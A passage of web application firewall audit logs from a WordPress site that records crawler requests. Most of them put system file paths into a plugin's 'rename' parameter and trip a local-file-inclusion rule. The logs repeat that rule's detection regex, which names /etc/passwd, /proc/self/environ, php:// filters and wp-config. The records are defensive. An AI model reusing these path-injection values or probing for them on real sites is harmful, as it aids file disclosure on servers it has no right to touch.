\"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/be/LC_MESSAGES/iso_639-5.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":355,"p2":6102,"p3":0,"p4":0,"p5":430,"sr":135,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:26:21.332263 +0100","transaction_id":"abOD3CFJ_Ynbc5Nhz1Z5ywAAAQs","remote_address":"57.141.20.58","remote_port":46392,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php7.2/include/php/Zend/zend_variables.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.58","X-Forwarded-Proto":"https","X-Request-Id":"b8db35083f88a1888f34385a75f28e73","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7111514"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b8db35083f88a1888f34385a75f28e73","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.2/include/php/Zend/zend_variables.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":354,"p2":7591,"p3":0,"p4":0,"p5":344,"sr":188,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:26:44.388260 +0100","transaction_id":"abOD87mW8D9YFg8ovrf1dQAAANY","remote_address":"57.141.20.9","remote_port":53224,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php8.3/include/php/main/main_arginfo.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"9d80faba69800cdb604eb59d293b9e4d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4917165"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9d80faba69800cdb604eb59d293b9e4d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.3/include/php/main/main_arginfo.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":345,"p2":6730,"p3":0,"p4":0,"p5":352,"sr":154,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:27:27.958566 +0100","transaction_id":"abOEH1ICN_OZQ9wXfc3DJgAAAFA","remote_address":"57.141.20.47","remote_port":43512,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php7.1/lib/php/PEAR/Installer.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"0f52f572f6c9b07fbcf9e149034ce384","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"689536"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0f52f572f6c9b07fbcf9e149034ce384","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.1/lib/php/PEAR/Installer.php||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":321,"p2":6375,"p3":0,"p4":0,"p5":358,"sr":157,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:29:43.024355 +0100","transaction_id":"abOEpkapybP6n-qLTwuCzgAAAZA","remote_address":"57.141.20.7","remote_port":56842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/opt/php8.1/include/php/Zend/zend_attributes_arginfo.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"19cfb006b44544952c88193d0da8ae5a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3016874"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"19cfb006b44544952c88193d0da8ae5a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.1/include/php/Zend/zend_attributes_arginfo.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":353,"p2":6167,"p3":0,"p4":0,"p5":358,"sr":116,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:30:12.215864 +0100","transaction_id":"abOEwiFJ_Ynbc5Nhz1Z6rgAAAQI","remote_address":"114.119.150.95","remote_port":39888,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/32142451 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"9e194578d1acaa04a4c603600012dd42","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5275788","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"9e194578d1acaa04a4c603600012dd42","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":278,"p2":6165,"p3":0,"p4":0,"p5":756,"sr":154,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:31:03.399927 +0100","transaction_id":"abOE9odmjjYI1SpvwBAyswAAABU","remote_address":"57.141.20.25","remote_port":36848,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/lib/locale/gv_GB/LC_MESSAGES/SYS_LC_MESSAGES HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"59622b8a0cedceb238ffaad4192c0fad","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6456748"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"59622b8a0cedceb238ffaad4192c0fad","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/gv_GB/LC_MESSAGES/SYS_LC_MESSAGES||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":287,"p2":7919,"p3":0,"p4":0,"p5":388,"sr":102,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:35:15.125852 +0100","transaction_id":"abOF8vgQSd_XQ-U0cJw6RwAAAVE","remote_address":"57.141.20.2","remote_port":43534,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0d/2d5502401f1839c0299da535c74554e0c75b54 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"859178b9d1b9a58832b85a953b23652b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3179942"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"859178b9d1b9a58832b85a953b23652b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0d/2d5502401f1839c0299da535c74554e0c75b54||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":313,"p2":6174,"p3":0,"p4":0,"p5":322,"sr":127,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:35:53.052385 +0100","transaction_id":"abOGF4JMkxuqkfzoMwAyowAAAcA","remote_address":"57.141.20.10","remote_port":47056,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/cs/LC_MESSAGES/python-apt.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"9e35d964026c3a733054961d17077fe4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7307412"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9e35d964026c3a733054961d17077fe4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/cs/LC_MESSAGES/python-apt.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":345,"p2":7759,"p3":0,"p4":0,"p5":853,"sr":141,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:39:09.312606 +0100","transaction_id":"abOG2rmW8D9YFg8ovrf5HwAAANg","remote_address":"114.119.142.37","remote_port":34508,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/252795951 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"861acb539ebb0048565b31aa58725d48","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4719866","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"861acb539ebb0048565b31aa58725d48","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":264,"p2":4879,"p3":0,"p4":0,"p5":314,"sr":140,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:42:44.643375 +0100","transaction_id":"abOHtLmW8D9YFg8ovrf5-QAAAMk","remote_address":"40.77.167.46","remote_port":52384,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /sitemap_index.xml HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"40.77.167.46","X-Forwarded-Proto":"https","X-Request-Id":"3df5d0897415022ab6d914cdde5a0fcc","X-L-Admin-Auth":"0","from":"bingbot(at)microsoft.com","user-agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","accept":"*/*","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6358568","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"3df5d0897415022ab6d914cdde5a0fcc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":231,"p2":4564,"p3":0,"p4":0,"p5":208,"sr":143,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:43:22.165576 +0100","transaction_id":"abOH2UapybP6n-qLTwuHOAAAAZM","remote_address":"57.141.20.4","remote_port":58320,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php7.1/include/php/main/build-defs.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"a541f6b2b29cdc223f148977529249b5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4196594"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a541f6b2b29cdc223f148977529249b5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.1/include/php/main/build-defs.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":301,"p2":6131,"p3":0,"p4":0,"p5":453,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:44:30.849900 +0100","transaction_id":"abOIHPgQSd_XQ-U0cJw9VgAAAUE","remote_address":"57.141.20.43","remote_port":37092,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/v/vitty HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"4cc4fae95a8161d1d86143d17ae016c3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4917633"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4cc4fae95a8161d1d86143d17ae016c3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/v/vitty||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag 